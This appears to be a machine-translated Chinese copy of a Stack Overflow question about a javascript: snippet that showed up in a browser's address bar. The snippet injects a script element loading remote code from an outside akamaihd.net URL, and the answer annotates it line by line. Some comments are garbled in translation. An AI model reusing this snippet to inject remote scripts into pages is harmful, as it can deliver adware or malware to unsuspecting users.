这个JavaScript(包含createElement(“脚本”)是做什么的?

这个JavaScript(包含createElement(“脚本”)是做什么的?,javascript,Javascript,在进入网页后,在地址栏上过了一会儿,我看到的是这个而不是实际的地址- javascript:try { if(document.body.innerHTML) { var a=document.getElementsByTagName("head"); if(a.length){var d=document.createElement("script"); d.src="https://apidivaptonbiz-a.akamai

在进入网页后,在地址栏上过了一会儿,我看到的是这个而不是实际的地址-

javascript:try
{
    if(document.body.innerHTML)
    {
        var a=document.getElementsByTagName("head");
        if(a.length){var d=document.createElement("script");
        d.src="https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
        43619542-5d821147c8cf";
        a[0].appendChild(d);
    }
}
catch(e){}

这段代码实际上是做什么的?它是如何自动出现在地址栏上的?

显然,它通过地址加载文件https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-43619542-5d821147c8cf并将其注入当前页面

try // try the code in the braces { }, control will jump to the catch block on error
{
    if(document.body.innerHTML) // if this is running in a browser
    {
        var a=document.getElementsByTagName("head"); // get the <head> element
        if(a.length){ // if a seems to be a valid HTMLElement
            var d=document.createElement("script"); // create a <script> element
            // and link it to the URL below
            d.src="https://apidivaptonbiz-a.akamaihd.net/gsrs?is=smdvbd&bp=BA&g=a856bc68-46e1-
            43619542-5d821147c8cf"; 
        a[0].appendChild(d); // insert the new <script> element into the DOM
    }
}
catch(e){} // ignore all errors from the try { } block (generally bad form) 
基本上,这个JavaScript片段将脚本注入页面


关于它是如何到达那里的,这有点棘手。一种可能是页面上的一些JavaScript将window.location.href设置为这个代码片段,但我觉得这很奇怪

请理解Java和Javascript是两种完全不同的编程语言,就像火腿和汉堡包一样密切相关,如果您错误地标记了您的问题,您将无法获得正确的专家来审查它,这可能会影响您获得适当帮助的机会。因为我对Javascript一无所知,所以我只能为你做这一切,只是希望你一切顺利,希望你能尽快得到一个好的答案。加载一个文件太模糊了。浏览器还加载图像和css文件。怎么装?什么类型的文件?你不知道,因为它不是文件的真实路径。将有一个URL的服务器解释,它将“回显”一个文件。考虑到文件结果的附加格式,我猜是一个JavaScript文件。@user2864740–这是一个相当公平的赌注,尽管不确定它是否加载脚本文件,因为它被设置为脚本元素的src。对我来说似乎写得不好。更奇怪的是,它似乎是“故意伤害”。@MarcoAurélioDeleu脚本注入被用于各种目的,通常是广告,谷歌分析公司广泛使用它;并不是说我正在清除我没有通过任何方式查看的不当行为或怀疑的参考来源。